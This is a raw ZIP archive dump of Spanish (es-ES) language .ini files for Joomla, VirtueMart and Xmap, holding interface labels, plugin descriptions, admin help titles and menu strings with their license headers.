TPL_BLUESTORK_XML_DESCRIPTION="BlueStork es una plantilla para la administración de Joomla" PK@y>\ҋ)language/es-ES/es-ES.plg_system_cache.ininuW+A; $Id: es-ES.plg_system_cache.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CACHE_FIELD_BROWSERCACHE_DESC="Configurado en 'Sí', se usará el mecanismo para almacenar páginas en caché del navegador" PLG_CACHE_FIELD_BROWSERCACHE_LABEL="Usar la caché del navegador" PLG_CACHE_FIELD_LIFETIME_DESC="Duración de la página de la cache" PLG_CACHE_FIELD_LIFETIME_LABEL="Duración de la caché" PLG_CACHE_XML_DESCRIPTION="Se proporciona caché de páginas" PLG_SYSTEM_CACHE="Sistema - Caché" PK@y>\nc/language/es-ES/es-ES.plg_finder_content.sys.ininuW+A; $Id: es-ES.plg_finder_content.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_FINDER_CONTENT="Búsquedas inteligentes - Contenido" PLG_FINDER_CONTENT_ERROR_ACTIVATING_PLUGIN="No se ha podido activar automáticamente el plugin "_QQ_"Búsquedas inteligentes - Contenido"_QQ_"" PLG_FINDER_CONTENT_XML_DESCRIPTION="Este plugin indexa los artículos de Joomla!" PK@y>\(J1i-language/es-ES/es-ES.plg_system_cache.sys.ininuW+A; $Id: es-ES.plg_system_cache.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CACHE_XML_DESCRIPTION="Se proporciona caché de páginas" PLG_SYSTEM_CACHE="Sistema - Caché" PK@y>\et5language/es-ES/es-ES.plg_authentication_gmail.sys.ininuW+A; $Id: es-ES.plg_authentication_gmail.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_AUTHENTICATION_GMAIL="Autentificación - GMail" PLG_GMAIL_XML_DESCRIPTION="Gestiona la autentificación de usuarios con cuentas GMail o Googlemail (Requiere de cURL)
            ¡Advertencia! Debe tener al menos un plugin de autentificación habilitado o perderá todo el acceso al sitio." PK@y>\n/language/es-ES/es-ES.plg_vmcustom_stockable.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_STOCKABLE="Campo personalizable acumulable" VMCUSTOM_STOCKABLE_DESC="De un nombre y los valores para la opción de para las opciónes de producto Acumulable derivado" VMCUSTOM_STOCKABLE_IS_VARIANT="Parent Variant" VMCUSTOM_STOCKABLE_NO_CHILD="Por favor seleccione un producto derivado! Después puede elegir la opción para cada producto" VMCUSTOM_STOCKABLE_NO_OPTION="-" VMCUSTOM_STOCKABLE_PRICE="Cargo adicional" VMCUSTOM_STOCKABLE_SELECTNAME="Nombre" VMCUSTOM_STOCKABLE_SELECTNAME_DESC="Ingrese el nombre de la lista de seleccion" VMCUSTOM_STOCKABLE_SELECTOPTIONS="Lista de opciónes" VMCUSTOM_STOCKABLE_SELECTOPTIONS_DESC="Ingrese la opción que desee aparezca en la lista de seleccion. Cada linea es una opción" VMCUSTOM_STOCKABLE_USAGE="¡Atención! Este plugin utiliza productos hijos para administrar variantes de compra con control de stock. Si no necesita control de stock en sus variantes de compra, debería usar una variante de compra normal."PK@y>\\%language/es-ES/es-ES.com_xmap.sys.ininuW+A; $Id$ ; Copyright (C) 2007 - 2009 Joomla! Vargas. All rights reserved. ; GNU General Public License version 2 or later; see LICENSE.txt ; Guillermo Vargas (guille@vargas.co.cr) ; COM_XMAP="Xmap" COM_XMAP_TITLE="Xmap" ; ; View and layout titles and descriptions ; COM_XMAP_SITEMAP_HTML_VIEW_DEFAULT_TITLE="Mapa de Sitio HTML" COM_XMAP_SITEMAP_HTML_VIEW_DEFAULT_DESC="Muestra un mapa de sitio en formato HTML" COM_XMAP_SITEMAP_XML_VIEW_DEFAULT_TITLE="Mapa de Sitio XML" COM_XMAP_SITEMAP_XML_VIEW_DEFAULT_DESC="Mustra un mapa de sitio en formato XML" COM_XMAP_SELECT_AN_SITEMAP="Seleccione un mapa de sitio" COM_XMAP_SELECT_A_SITEMAP="Un mapa de sitio" COM_XMAP_CHANGE_SITEMAP_BUTTON="Cambiar" COM_XMAP_CHANGE_SITEMAP="Seleccionar un mapa de sitio de una lista" COM_INSTALLER_TYPE_XMAP_EXT="Xmap Extension" COM_XMAP_ATTRIBS_SITEMAP_SETTINGS_LABEL="Sitemap Settings" COM_XMAP_INCLUDE_CSS_LABEL="Include Xmap's Style" COM_XMAP_INCLUDE_CSS_DESC="Select yes to include the CSS file with the styles for the sitemap"PK@y>\~=##-language/es-ES/es-ES.plg_system_debug.sys.ininuW+A; $Id: es-ES.plg_system_debug.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_DEBUG_XML_DESCRIPTION="Este plugin proporciona una variedad de información del sistema y asistencia para la creación de archivos del idioma." PLG_SYSTEM_DEBUG="Sistema - Depurador" PK@y>\lE+language/es-ES/es-ES.plg_search_content.ininuW+A; $Id: es-ES.plg_search_content.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SEARCH_CONTENT="Buscar - Contenido" PLG_SEARCH_CONTENT_FIELD_ARCHIVED_DESC="¿Buscar artículos archivados?" PLG_SEARCH_CONTENT_FIELD_ARCHIVED_LABEL="Artículos archivados" PLG_SEARCH_CONTENT_FIELD_CONTENT_DESC="Se habilitan las búsquedas en todos los artículos" PLG_SEARCH_CONTENT_FIELD_CONTENT_LABEL="Artículos" PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_DESC="Cantidad de resultados de la búsqueda a mostrar" PLG_SEARCH_CONTENT_FIELD_SEARCHLIMIT_LABEL="Límite de búsqueda" PLG_SEARCH_CONTENT_XML_DESCRIPTION="Habilitar búsquedas en artículos" PK@y>\6``7language/es-ES/es-ES.plg_quickicon_joomlaupdate.sys.ininuW+A; $Id: es-ES.plg_quickicon_joomlaupdate.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_QUICKICON_JOOMLAUPDATE="Enlaces rápidos - Notificación de actualizaciones para Joomla!" PLG_QUICKICON_JOOMLAUPDATE_XML_DESCRIPTION="Comprueba si hay actualizaciones para Joomla! y se lo notifica cuando visite el 'Panel de control'" PK@y>\x6language/es-ES/es-ES.plg_quickicon_extensionupdate.ininuW+A; $Id: es-ES.plg_quickicon_extensionupdate.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_QUICKICON_EXTENSIONUPDATE="Enlaces rápidos - Notificación de actualizaciones de extensiones para Joomla!" PLG_QUICKICON_EXTENSIONUPDATE_CHECKING="Comprobando extensiones
            Estado de actualización" PLG_QUICKICON_EXTENSIONUPDATE_ERROR="Extensiones desconocidas
            Estado de actualización" PLG_QUICKICON_EXTENSIONUPDATE_GROUP_DESC="El grupo de este módulo (este valor se compara con el usado como valor del grupo en los módulos del tipo Enlaces rápidos para inyectar iconos)" PLG_QUICKICON_EXTENSIONUPDATE_GROUP_LABEL="Grupo" PLG_QUICKICON_EXTENSIONUPDATE_UPDATEFOUND="¡Hay actualizaciones disponibles!
            %s" PLG_QUICKICON_EXTENSIONUPDATE_UPTODATE="Las extensiones están actualizadas" PLG_QUICKICON_EXTENSIONUPDATE_XML_DESCRIPTION="Comprueba si hay actualizaciones de las extensiones de terceros que tenga instaladas y se lo notifica cuando viste el 'Panel de control'" PK@y>\80language/es-ES/es-ES.plg_search_contacts.sys.ininuW+A; $Id: es-ES.plg_search_contacts.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SEARCH_CONTACTS="Buscar - Contactos" PLG_SEARCH_CONTACTS_XML_DESCRIPTION="Se habilitan las búsquedas en el componente de contactos" PK@y>\˧]].language/es-ES/es-ES.plg_xmap_com_weblinks.ininuW+AXMAP_WL_PLUGIN_DESCRIPTION="Adds support for Weblinks component" XMAP_WL_SETTING_SHOW_LINKS_LABEL="Show Links?" XMAP_WL_SETTING_SHOW_LINKS_DESC="Should we include links into the site map?" XMAP_WL_SETTING_MAX_LINKS_LABEL="Max links" XMAP_WL_SETTING_MAX_LINKS_DESC="Max number of links per category to include on sitemap (Leave empty for no limit)" ; Generic Extension settings strings COM_PLUGINS_BASIC_FIELDSET_LABEL="Basic Settings" COM_PLUGINS_XML_FIELDSET_LABEL="XML Sitemap Settings" COM_PLUGINS_NEWS_FIELDSET_LABEL="News Sitemap Settings" XMAP_OPTION_USE_PARENT_MENU="Use Parent Menu Settings" XMAP_OPTION_NEVER="Never" XMAP_OPTION_ALWAYS="Always" XMAP_OPTION_XML_ONLY="In XML Sitemap Only" XMAP_OPTION_HTML_ONLY="In HTML Sitemap Only" XMAP_OPTION_WEEKLY="Weekly" XMAP_OPTION_DAILY="Daily" XMAP_OPTION_MONTHLY="Monthly" XMAP_OPTION_YEARLY="Yearly" XMAP_OPTION_HOURLY="Hourly" XMAP_WL_CATEGORY_PRIORITY_LABEL="Category Priority" XMAP_WL_CATEGORY_PRIORITY_DESC="Set the priority for the categories" XMAP_WL_CATEGORY_CHANGEFREQ_LABEL="Category Change frequency" XMAP_WL_CATEGORY_CHANGEFREQ_DESC="Set the change frequency for the categories" XMAP_WL_LINK_PRIORITY_LABEL="Link Priority" XMAP_WL_LINK_PRIORITY_DESC="Set the priority for the links" XMAP_WL_LINK_CHANGEFREQ_LABEL="Link Change frequency" XMAP_WL_LINK_CHANGEFREQ_DESC="Set the change frequency for the links"PK@y>\O0language/es-ES/es-ES.plg_search_weblinks.sys.ininuW+A; $Id: es-ES.plg_search_weblinks.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_SEARCH_WEBLINKS="Buscar - Enlaces web" PLG_SEARCH_WEBLINKS_XML_DESCRIPTION="Se habilitan las búsquedas en el componente de enlaces web" PK@y>\B*3language/es-ES/es-ES.plg_vmcustom_specification.ininuW+A; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_SPECIFICATION_DEFAULT_INFO="Información predeterminada" VMCUSTOM_SPECIFICATION_NAME_INFO="Etiqueta de caracteristica" VMCUSTOM_SPECIFICATION_NAME_INFO_DESC="Valor por defecto" PK@y>\j,,4language/es-ES/es-ES.plg_user_contactcreator.sys.ininuW+A; $Id: es-ES.plg_user_contactcreator.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! PLG_CONTACTCREATOR_XML_DESCRIPTION="Plugin que permite crear automáticamente la información de contacto para los nuevos usuarios" PLG_USER_CONTACTCREATOR="Usuario - Creador de contactos" PK@y>\3language/es-ES/es-ES.plg_vmcustom_textinput.sys.ininuW+A; Virtuemart! Project ; Copyright (C) 2011 Virtuemart Team. All rights reserved. ; License http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL, see LICENSE.php ; Note : All ini files need to be saved as UTF-8 - No BOM VMCUSTOM_TEXTINPUT="Campo de texto personalizado" PK@y>\RG;);)"language/es-ES/es-ES.com_admin.ininuW+A; $Id: es-ES.com_admin.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_ADMIN="Administración - Información del sistema" COM_ADMIN_ALPHABETICAL_INDEX="Índice alfabético" COM_ADMIN_CACHE_DIRECTORY="(Directorio 'cache')" COM_ADMIN_CLEAR_RESULTS="Limpiar resultados" COM_ADMIN_CONFIGURATION_FILE="Archivo de configuración" COM_ADMIN_DATABASE_COLLATION="Cotejamiento de la base de datos" COM_ADMIN_DATABASE_VERSION="Versión de la base de datos" COM_ADMIN_DIRECTORY="Directorio" COM_ADMIN_DIRECTORY_PERMISSIONS="Permisos de directorios" COM_ADMIN_DISABLED_FUNCTIONS="Funciones deshabilitadas" COM_ADMIN_DISPLAY_ERRORS="Mostrar errores" COM_ADMIN_FILE_UPLOADS="Subidas de archivo" COM_ADMIN_GLOSSARY="Glosario" COM_ADMIN_GO="Ir" COM_ADMIN_HELP="Ayuda sobre Joomla!" COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS="Gestor de anuncios: Anuncios" COM_ADMIN_HELP_COMPONENTS_BANNERS_BANNERS_EDIT="Gestor de anuncios: Anuncios - Nuevo/Editar" COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES="Gestor de anuncios: Categorías" COM_ADMIN_HELP_COMPONENTS_BANNERS_CATEGORIES_EDIT="Gestor de anuncios: Categorías - Nuevo/Editar" COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS="Gestor de anuncios: Clientes" COM_ADMIN_HELP_COMPONENTS_BANNERS_CLIENTS_EDIT="Gestor de anuncios: Clientes - Nuevo/Editar" COM_ADMIN_HELP_COMPONENTS_BANNERS_TRACKS="Gestor de anuncios: Seguimiento" COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS="Gestor de contactos: Contactos" COM_ADMIN_HELP_COMPONENTS_CONTACTS_CONTACTS_EDIT="Gestor de contactos: Contactos - Nuevo/Editar" COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES="Gestor de contactos: Categorías" COM_ADMIN_HELP_COMPONENTS_CONTACT_CATEGORIES_EDIT="Gestor de contactos: Categorías - Nueva/Editar" COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES="Gestor de artículos: Categorías" COM_ADMIN_HELP_COMPONENTS_CONTENT_CATEGORIES_EDIT="Gestor de artículos: Categorías - Nueva/Editar" COM_ADMIN_HELP_COMPONENTS_MESSAGING_INBOX="Mensajes privados: Bandeja de entrada" COM_ADMIN_HELP_COMPONENTS_MESSAGING_READ="Mensajes privados: Leer" COM_ADMIN_HELP_COMPONENTS_MESSAGING_WRITE="Mensajes privados: Escribir" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES="Gestor de canales electrónicos: Categorías" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_CATEGORIES_EDIT="Gestor de canales electrónicos: Categorías - Nueva/Editar" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS="Gestor de canales electrónicos: Canal electrónico" COM_ADMIN_HELP_COMPONENTS_NEWSFEEDS_FEEDS_EDIT="Gestor de canales electrónicos: Canal electrónico - Nuevo/Editar" COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER="Gestor de redirecciones: Enlaces" COM_ADMIN_HELP_COMPONENTS_REDIRECT_MANAGER_EDIT="Gestor de redirecciones: Enlaces - Nuevo/Editar" COM_ADMIN_HELP_COMPONENTS_SEARCH="Gestor de búsquedas" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES="Gestor de enlaces web: Categorías" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_CATEGORIES_EDIT="Gestor de enlaces web: Categorías - Nueva/Editar" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS="Gestor de enlaces web: Enlaces web" COM_ADMIN_HELP_COMPONENTS_WEBLINKS_LINKS_EDIT="Gestor de enlaces web: Enlaces web - Nuevo/Editar" COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER="Gestor de artículos: Artículos" COM_ADMIN_HELP_CONTENT_ARTICLE_MANAGER_EDIT="Gestor de artículos: Artículos - Nuevo/Editar" COM_ADMIN_HELP_CONTENT_FEATURED_ARTICLES="Gestor de artículos: Artículos destacados" COM_ADMIN_HELP_CONTENT_MEDIA_MANAGER="Gestor multimedia" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_DISCOVER="Gestor de extensiones: Descubrir" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_INSTALL="Gestor de extensiones: Instalar" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_MANAGE="Gestor de extensiones: Gestionar" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_UPDATE="Gestor de extensiones: Actualizar" COM_ADMIN_HELP_EXTENSIONS_EXTENSION_MANAGER_WARNINGS="Gestor de extensiones: Advertencias" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT="Gestor de idiomas: Idiomas para el contenido" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT="Gestor de idiomas - Nuevo/Editar" COM_ADMIN_HELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED="Gestor de idiomas: Idiomas instalados" COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER="Gestor de módulos" COM_ADMIN_HELP_EXTENSIONS_MODULE_MANAGER_EDIT="Gestor de módulos - Editar" COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER="Gestor de complementos: Plugins" COM_ADMIN_HELP_EXTENSIONS_PLUGIN_MANAGER_EDIT="Gestor de complementos: Plugins - Nuevo/Editar" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES="Gestor de plantillas: Estilos" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_STYLES_EDIT="Gestor de plantillas: Estilos - Editar" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES="Gestor de plantillas: Plantillas" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT="Gestor de plantillas: Plantillas - Editar" COM_ADMIN_HELP_EXTENSIONS_TEMPLATE_MANAGER_TEMPLATES_EDIT_SOURCE="Gestor de plantillas: Código - Editar" COM_ADMIN_HELP_GLOSSARY="Glosario" COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER="Gestor de elementos del menú" COM_ADMIN_HELP_MENUS_MENU_ITEM_MANAGER_EDIT="Gestor de elementos del menú - Nuevo/Editar" COM_ADMIN_HELP_MENUS_MENU_MANAGER="Gestor de menús" COM_ADMIN_HELP_MENUS_MENU_MANAGER_EDIT="Gestor de menús - Nuevo/Editar" COM_ADMIN_HELP_SITE_GLOBAL_CONFIGURATION="Configuración global" COM_ADMIN_HELP_SITE_MAINTENANCE_CLEAR_CACHE="Gestor de la caché: Limpiar la caché" COM_ADMIN_HELP_SITE_MAINTENANCE_GLOBAL_CHECK-IN="Desbloqueo global" COM_ADMIN_HELP_SITE_MAINTENANCE_PURGE_EXPIRED_CACHE="Gestor de la caché: Purgar la caché expirada" COM_ADMIN_HELP_SITE_SYSTEM_INFORMATION="Información del sistema" COM_ADMIN_HELP_START_HERE="¿Cómo empezar?" COM_ADMIN_HELP_USERS_ACCESS_LEVELS="Gestor de usuarios: Nivel de acceso" COM_ADMIN_HELP_USERS_ACCESS_LEVELS_EDIT="Gestor de usuarios: Nivel de acceso - Nuevo/Editar" COM_ADMIN_HELP_USERS_DEBUG_USER="Gestor de usuarios: Depurar permisos de usuario" COM_ADMIN_HELP_USERS_GROUPS="Gestor de usuarios: Grupos" COM_ADMIN_HELP_USERS_GROUPS_EDIT="Gestor de usuarios: Grupos - Nuevo/Editar" COM_ADMIN_HELP_USERS_MASS_MAIL_USERS="Correo masivo" COM_ADMIN_HELP_USERS_USER_MANAGER="Gestor de usuarios: Usuarios" COM_ADMIN_HELP_USERS_USER_MANAGER_EDIT="Gestor de usuarios: Usuarios - Nuevo/Editar" COM_ADMIN_ICONV_AVAILABLE="Función 'iconv' disponible" COM_ADMIN_INFORMATION="Información del sistema" COM_ADMIN_JOOMLA_VERSION="Versión de Joomla!" COM_ADMIN_LATEST_VERSION_CHECK="Última versión disponible" COM_ADMIN_LICENSE="Licencia" COM_ADMIN_LOG_DIRECTORY="(Directorio de registros)" COM_ADMIN_MAGIC_QUOTES="Comillas mágicas" COM_ADMIN_MBSTRING_ENABLED="Función 'mbstring' habilitada" COM_ADMIN_NA="No disponible" COM_ADMIN_OPEN_BASEDIR="Directorio base de apertura" COM_ADMIN_OUTPUT_BUFFERING="Área de intercambio ('buffer') de salida" COM_ADMIN_PHP_BUILT_ON="PHP instalado sobre:" COM_ADMIN_PHP_INFORMATION="Información de PHP" COM_ADMIN_PHP_SETTINGS="Configuración de PHP" COM_ADMIN_PHP_VERSION="Versión de PHP" COM_ADMIN_PLATFORM_VERSION="Versión de la plataforma de Joomla!" COM_ADMIN_REGISTER_GLOBALS="Registros globales" COM_ADMIN_RELEVANT_PHP_SETTINGS="Directivas relevantes de PHP" COM_ADMIN_SAFE_MODE="Modo seguro" COM_ADMIN_SEARCH="Buscar" COM_ADMIN_SESSION_AUTO_START="Inicio automático de sesiones" COM_ADMIN_SESSION_SAVE_PATH="Ruta del guardado de sesiones" COM_ADMIN_SETTING="Dato" COM_ADMIN_SHORT_OPEN_TAGS="Etiquetas de apertura abreviadas" COM_ADMIN_START_HERE="¿Cómo empezar?" COM_ADMIN_STATUS="Estado" COM_ADMIN_SYSTEM_INFO="Información del sistema" COM_ADMIN_SYSTEM_INFORMATION="Información del sistema" COM_ADMIN_TEMP_DIRECTORY="(Directorio temporal)" COM_ADMIN_UNWRITABLE="No escribible" COM_ADMIN_USER_ACCOUNT_DETAILS="Detalles de su perfil" COM_ADMIN_USER_AGENT="Agente del usuario" COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_DESC="Seleccione el idioma a usar en la interfaz de la administración. Solo afectará a este usuario." COM_ADMIN_USER_FIELD_BACKEND_LANGUAGE_LABEL="Idioma de la administración" COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_DESC="Seleccione el estilo de plantilla a usar en la interfaz de la administración. Solo afectará a este usuario." COM_ADMIN_USER_FIELD_BACKEND_TEMPLATE_LABEL="Estilo de la plantilla de la administración" COM_ADMIN_USER_FIELD_EDITOR_DESC="Editor del usuario" COM_ADMIN_USER_FIELD_EDITOR_LABEL="Editor" COM_ADMIN_USER_FIELD_EMAIL_DESC="Introduzca una dirección de correo electrónico para este usuario" COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_DESC="Seleccione el idioma a usar en la interfaz del sitio. Solo afectará a este usuario." COM_ADMIN_USER_FIELD_FRONTEND_LANGUAGE_LABEL="Idioma del sitio" COM_ADMIN_USER_FIELD_HELPSITE_DESC="Sitio de ayuda para este usuario" COM_ADMIN_USER_FIELD_HELPSITE_LABEL="Sitio de ayuda" COM_ADMIN_USER_FIELD_LASTVISIT_DESC="Última vez que el usuario accedió al sistema" COM_ADMIN_USER_FIELD_LASTVISIT_LABEL="Última visita" COM_ADMIN_USER_FIELD_NAME_DESC="Introduzca un nombre para el usuario" COM_ADMIN_USER_FIELD_NOCHANGE_USERNAME_DESC="Por favor, si desea cambiar su nombre de usuario contacte con el administrador del sitio." COM_ADMIN_USER_FIELD_PASSWORD2_DESC="Confirme la contraseña del usuario" COM_ADMIN_USER_FIELD_PASSWORD2_LABEL="Confirme la contraseña" COM_ADMIN_USER_FIELD_PASSWORD_DESC="Introduzca una contraseña para el usuario" COM_ADMIN_USER_FIELD_REGISTERDATE_DESC="La fecha de registro del usuario" COM_ADMIN_USER_FIELD_REGISTERDATE_LABEL="Fecha de registro" COM_ADMIN_USER_FIELD_TIMEZONE_DESC="Seleccione una zona horaria" COM_ADMIN_USER_FIELD_TIMEZONE_LABEL="Zona horaria" COM_ADMIN_USER_FIELD_USERNAME_DESC="Introduzca el usuario con el que podrá identificarse en la web" COM_ADMIN_USER_FIELD_USERNAME_LABEL="Usuario" COM_ADMIN_USER_HEADING_NAME="Nombre" COM_ADMIN_USER_SETTINGS_FIELDSET_LABEL="Configuración básica" COM_ADMIN_VALUE="Valor" COM_ADMIN_VIEW="Vista" COM_ADMIN_VIEW_PROFILE_TITLE="Su perfil" COM_ADMIN_WEBSERVER_TO_PHP_INTERFACE="Interfaz de PHP" COM_ADMIN_WEB_SERVER="Servidor web" COM_ADMIN_WRITABLE="Escribible" COM_ADMIN_XML_DESCRIPTION="Componente de la administración que proporciona información del sistema" COM_ADMIN_XML_ENABLED="XML habilitado" COM_ADMIN_ZIP_ENABLED="Zip nativo habilitado" COM_ADMIN_ZLIB_ENABLED="Zlib habilitado" PK@y>\3"language/es-ES/es-ES.mod_title.ininuW+A; $Id: es-ES.mod_title.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_TITLE="Título" MOD_TITLE_XML_DESCRIPTION="Este módulo muestra el título del componente en la barra de herramientas" PK@y>\`UU(language/es-ES/es-ES.mod_toolbar.sys.ininuW+A; $Id: es-ES.mod_toolbar.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_TOOLBAR="Barra de herramientas" MOD_TOOLBAR_XML_DESCRIPTION="Este módulo muestra los iconos de la barra de herramientas usados para controlar opciones dentro del área de la administración." MOD_TOOLBAR_LAYOUT_DEFAULT="Predeterminado" PK@y>\*{&language/es-ES/es-ES.com_login.sys.ininuW+A; $Id: es-ES.com_login.sys.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2014 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2014 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! COM_LOGIN="Conexión" COM_LOGIN_XML_DESCRIPTION="Este componente permite que los usuarios se identifiquen en el sitio." PK@y>\]y==!language/es-ES/es-ES.mod_menu.ininuW+A; $Id: es-ES.mod_menu.ini $ ; Joomla! Project ; Copyright (C) 2005 - 2015 Open Source Matters. All rights reserved. ; Copyright (C) Translation 2008 - 2015 comunidadjoomla.org. All rights reserved. ; License GNU General Public License version 2 or later; see LICENSE.txt, see LICENSE.php ; Note: All ini files need to be saved as UTF-8 - NO BOM! MOD_MENU="Menú de la administración" MOD_MENU_CLEAR_CACHE="Limpiar la caché" MOD_MENU_COMPONENTS="Componentes" MOD_MENU_COM_CONTENT="Contenido" MOD_MENU_COM_CONTENT_ARTICLE_MANAGER="Gestor de artículos" MOD_MENU_COM_CONTENT_CATEGORY_MANAGER="Gestor de categorías" MOD_MENU_COM_CONTENT_FEATURED="Artículos destacados" MOD_MENU_COM_CONTENT_NEW_ARTICLE="Añadir nuevo artículo" MOD_MENU_COM_CONTENT_NEW_CATEGORY="Añadir nueva categoría" MOD_MENU_COM_USERS="Usuarios" MOD_MENU_COM_USERS_ADD_GROUP="Añadir nuevo grupo" MOD_MENU_COM_USERS_ADD_LEVEL="Añadir nuevo nivel de acceso" MOD_MENU_COM_USERS_ADD_USER="Añadir nuevo usuario" MOD_MENU_COM_USERS_GROUPS="Grupos" MOD_MENU_COM_USERS_LEVELS="Niveles de acceso" MOD_MENU_COM_USERS_USERS="Usuarios" 